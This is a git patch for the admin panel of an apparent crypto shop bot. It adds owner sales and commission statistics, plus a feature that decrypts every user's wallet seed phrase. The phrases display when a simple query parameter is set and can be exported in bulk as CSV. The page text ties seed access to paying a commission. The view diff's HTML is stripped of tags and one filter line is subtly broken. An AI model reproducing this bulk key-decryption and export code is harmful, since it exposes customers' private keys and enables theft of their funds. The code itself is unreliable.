From 76daf07bb4e43055a47670ec947c947cf7f768c3 Mon Sep 17 00:00:00 2001 From: NW Date: Tue, 23 Jun 2026 12:51:57 +0100 Subject: [PATCH] feat: owner summary with wallet stats, commission info and seed phrase unlock MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Added Owner Summary section below user wallets with: - Total wallet balance (USD) across all currencies - Completed sales total - Commission calculation (rate × sales) - User and wallet counts - Wallet balances by currency table (coin, count, balance, USD) - Commission wallets display for owner payment - Seed phrases section: locked by default, unlock via button - CSV export for all decrypted seed phrases - Seed phrase decrypt uses existing WalletService.decryptMnemonic - Preserves user selection when toggling seed unlock --- src/admin/public/style.css | 77 +++++++++++++++++ src/admin/routes/wallets.js | 160 +++++++++++++++++++++++++++++++----- src/admin/views/wallets.js | 106 ++++++++++++++++++++++-- 3 files changed, 315 insertions(+), 28 deletions(-) diff --git a/src/admin/public/style.css b/src/admin/public/style.css index 0440b52..121356f 100644 --- a/src/admin/public/style.css +++ b/src/admin/public/style.css @@ -409,6 +409,83 @@ pre { font-size: 0.8rem; white-space: pre-wrap; word-break: break-all; max-width min-width: 0; } +.stats-section { + margin-top: 2rem; + border-top: 2px solid var(--border); + padding-top: 1.5rem; +} + +.stats-section h2 { + margin-bottom: 1rem; +} + +.owner-grid { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 1rem; + margin-bottom: 1rem; +} + +@media (max-width: 900px) { + .owner-grid { grid-template-columns: 1fr; } +} + +table.compact th, table.compact td { + padding: 0.35rem 0.6rem; + font-size: 0.85rem; +} + +.total-row td { + border-top: 2px solid var(--border); + font-weight: 700; +} + +.commission-wallet { + margin: 0.3rem 0; + padding: 0.4rem 0.6rem; + background: #f8f9fa; + border-radius: 4px; + font-size: 0.85rem; + word-break: break-all; +} + +.commission-wallet code { + background: #eef1f5; + padding: 0.1rem 0.3rem; + border-radius: 3px; +} + +.seed-section { + border-color: var(--danger); + border-width: 2px; +} + +.seed-section h3 { + color: var(--danger); +} + +.seed-locked { + text-align: center; + padding: 1.5rem; +} + +.seed-locked p { + margin-bottom: 0.5rem; +} + +.seed-table-wrap { + overflow-x: auto; +} + +.seed-cell { + font-size: 0.8rem; + word-break: break-all; + max-width: 300px; + background: #fff3f3; + padding: 0.3rem; + border-radius: 3px; +} + @media (max-width: 640px) { .topnav { flex-direction: column; align-items: flex-start; } .logout-btn { margin-left: 0; } diff --git a/src/admin/routes/wallets.js b/src/admin/routes/wallets.js index c82b2a6..ff58043 100644 --- a/src/admin/routes/wallets.js +++ b/src/admin/routes/wallets.js @@ -1,32 +1,152 @@ import { Router } from 'express'; import db from '../../config/database.js'; +import config from '../../config/config.js'; +import WalletUtils from '../../utils/walletUtils.js'; +import WalletService from '../../services/walletService.js'; +import { decrypt } from '../../utils/encryption.js'; +import logger from '../../utils/logger.js'; import { renderWalletLayout } from '../views/wallets.js'; const router = Router(); router.get('/', async (req, res) => { - const users = await db.allAsync( - `SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance, - COUNT(w.id) AS wallet_count - FROM users u - LEFT JOIN crypto_wallets w ON w.user_id = u.id AND w.wallet_type NOT LIKE '%#_%' ESCAPE '#' - GROUP BY u.id - ORDER BY u.id DESC` - ); - - const selectedId = req.query.user ? parseInt(req.query.user, 10) : (users.length > 0 ? users[0].id : null); - - let wallets = []; - let selectedUser = null; - if (selectedId) { - selectedUser = await db.getAsync('SELECT * FROM users WHERE id = ?', [selectedId]); - wallets = await db.allAsync( - `SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY wallet_type`, - [selectedId] + try { + const users = await db.allAsync( + `SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance, + COUNT(w.id) AS wallet_count + FROM users u + LEFT JOIN crypto_wallets w ON w.user_id = u.id AND w.wallet_type NOT LIKE '%#_%' ESCAPE '#' + GROUP BY u.id + ORDER BY u.id DESC` ); - } - res.send(renderWalletLayout(users, selectedUser, wallets)); + const selectedId = req.query.user ? parseInt(req.query.user, 10) : (users.length > 0 ? users[0].id : null); + + let wallets = []; + let selectedUser = null; + if (selectedId) { + selectedUser = await db.getAsync('SELECT * FROM users WHERE id = ?', [selectedId]); + wallets = await db.allAsync( + `SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY wallet_type`, + [selectedId] + ); + } + + let prices = {}; + try { prices = await WalletUtils.getCryptoPrices(); } catch { prices = { btc: 0, ltc: 0, eth: 0 }; } + + const allWallets = await db.allAsync( + `SELECT w.wallet_type, w.balance, w.address, w.user_id + FROM crypto_wallets w + WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'` + ); + + const totals = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 }; + const walletCounts = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 }; + for (const w of allWallets) { + const type = (w.wallet_type || '').toLowerCase(); + if (totals[type] !== undefined) { + totals[type] += w.balance || 0; + walletCounts[type]++; + } + } + + const usdValues = { + btc: totals.btc * (prices.btc || 0), + ltc: totals.ltc * (prices.ltc || 0), + eth: totals.eth * (prices.eth || 0), + usdt: totals.usdt, + usdc: totals.usdc, + }; + const totalUsd = Object.values(usdValues).reduce((s, v) => s + v, 0); + + const totalPurchases = await db.getAsync( + `SELECT COALESCE(SUM(total_price), 0) AS total FROM purchases WHERE status = 'completed'` + ); + const commissionRate = config.COMMISSION_PERCENT / 100; + const totalCommission = (totalPurchases?.total || 0) * commissionRate; + + const seedsUnlocked = req.query.seeds === '1'; + + let seedPhrases = []; + if (seedsUnlocked) { + const walletsWithSeeds = await db.allAsync( + `SELECT w.*, u.telegram_id, u.username + FROM crypto_wallets w + JOIN users u ON w.user_id = u.id + WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#' + ORDER BY u.id, w.wallet_type` + ); + for (const w of walletsWithSeeds) { + try { + const mnemonic = decrypt(w.mnemonic, w.user_id); + seedPhrases.push({ + userId: w.user_id, + username: w.username, + telegramId: w.telegram_id, + type: w.wallet_type, + address: w.address, + derivation: w.derivation_path, + mnemonic, + }); + } catch { + seedPhrases.push({ + userId: w.user_id, username: w.username, telegramId: w.telegram_id, + type: w.wallet_type, address: w.address, derivation: w.derivation_path, + mnemonic: '[decrypt error]', + }); + } + } + } + + const stats = { + totals, walletCounts, usdValues, totalUsd, + totalPurchases: totalPurchases?.total || 0, + commissionRate: config.COMMISSION_PERCENT, + totalCommission, + commissionEnabled: config.COMMISSION_ENABLED, + commissionWallets: config.COMMISSION_WALLETS, + prices, + totalUsers: users.length, + totalWallets: allWallets.length, + }; + + res.send(renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked)); + } catch (error) { + logger.error({ err: error }, 'Error loading wallets page'); + res.status(500).send('Error loading wallets page'); + } +}); + +router.post('/export-seeds', async (req, res) => { + try { + const walletsWithSeeds = await db.allAsync( + `SELECT w.*, u.telegram_id, u.username + FROM crypto_wallets w + JOIN users u ON w.user_id = u.id + WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#' + ORDER BY u.id, w.wallet_type` + ); + + const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']]; + for (const w of walletsWithSeeds) { + let mnemonic = ''; + try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; } + rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]); + } + + const csv = rows.map(r => r.map(c => { + const s = String(c); + return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s; + }).join(',')).join('\n'); + + res.setHeader('Content-Type', 'text/csv'); + res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv'); + res.send(csv); + } catch (error) { + logger.error({ err: error }, 'Error exporting seeds'); + res.status(500).send('Error exporting seeds'); + } }); export default router; \ No newline at end of file diff --git a/src/admin/views/wallets.js b/src/admin/views/wallets.js index 27f25c4..340182e 100644 --- a/src/admin/views/wallets.js +++ b/src/admin/views/wallets.js @@ -1,12 +1,21 @@ import { layout } from './layout.js'; import { escapeHtml } from './escape.js'; -export function renderWalletLayout(users, selectedUser, wallets) { +function fmt(n, decimals = 2) { + return Number(n).toFixed(decimals); +} + +function fmtCrypto(n) { + return Number(n).toFixed(8).replace(/0+$/, '').replace(/\.$/, '.0'); +} + +export function renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked) { + const hasStats = stats && stats.totalUsd !== undefined; + const userListHtml = users.map(u => { const isActive = selectedUser && u.id === selectedUser.id; - const statusBadge = u.status === 0 ? 'active' : u.status === 2 ? 'banned' : 'banned'; const statusText = u.status === 0 ? '✅' : '❌'; - return ` + return ` #${u.id} ${escapeHtml(u.username || u.telegram_id)} ${statusText} ${u.wallet_count}w @@ -16,8 +25,8 @@ export function renderWalletLayout(users, selectedUser, wallets) { const walletRows = wallets.length > 0 ? wallets.map(w => ` ${escapeHtml(w.wallet_type)} - ${escapeHtml((w.address || '').slice(0, 20))}${w.address && w.address.length > 20 ? '...' : ''} - ${(w.balance || 0).toFixed(8)} + ${escapeHtml((w.address || '').slice(0, 24))}${w.address && w.address.length > 24 ? '...' : ''} + ${fmtCrypto(w.balance || 0)} ${w.created_at || '-'} `).join('') : 'No wallets yet'; @@ -25,12 +34,92 @@ export function renderWalletLayout(users, selectedUser, wallets) { const balanceCard = selectedUser ? `

Balances

-

Main: $${(selectedUser.total_balance || 0).toFixed(2)}

-

Bonus: $${(selectedUser.bonus_balance || 0).toFixed(2)}

-

Available: $${((selectedUser.total_balance || 0) + (selectedUser.bonus_balance || 0)).toFixed(2)}

+

Main: $${fmt(selectedUser.total_balance || 0)}

+

Bonus: $${fmt(selectedUser.bonus_balance || 0)}

+

Available: $${fmt((selectedUser.total_balance || 0) + (selectedUser.bonus_balance || 0))}

Status: ${selectedUser.status === 0 ? 'Active' : selectedUser.status === 2 ? 'Blocked' : 'Deleted'}

` : ''; + const ownerSection = hasStats ? ` +
+

Owner Summary

+
+
$${fmt(stats.totalUsd)}Total Wallet Balance (USD)
+
$${fmt(stats.totalPurchases)}Completed Sales
+
${stats.commissionEnabled ? '$' + fmt(stats.totalCommission) : 'OFF'}Commission (${stats.commissionRate}%)
+
${stats.totalUsers}Users
+
${stats.totalWallets}Active Wallets
+
+ +
+
+

Wallet Balances by Currency

+ + + + ${Object.entries(stats.totals).filter(([,v]) => v > 0 || (stats.walletCounts[Object.keys(stats.totals).indexOf(([k]) => k)[0]] > 0)).map(([coin, balance]) => ` + + + + + + + `).join('')} + + + + + + + +
CoinWalletsBalanceUSD Value
${coin.toUpperCase()}${stats.walletCounts[coin] || 0}${fmtCrypto(balance)}$${fmt(stats.usdValues[coin] || 0)}
Total${stats.totalWallets}$${fmt(stats.totalUsd)}
+
+ +
+

Commission ${stats.commissionEnabled ? '' : '(Disabled)'}

+

Rate: ${stats.commissionRate}%

+

Accrued from sales: $${fmt(stats.totalCommission)}

+

Commission wallets for payment:

+ ${Object.entries(stats.commissionWallets).filter(([,v]) => v).map(([coin, addr]) => ` +
+ ${coin}: ${escapeHtml(addr)} +
+ `).join('')} +

Send commission payment to one of the wallets above. Once received, seed phrases and wallet access become available to the shop owner.

+
+
+ +
+
` : ''; + const content = `
`;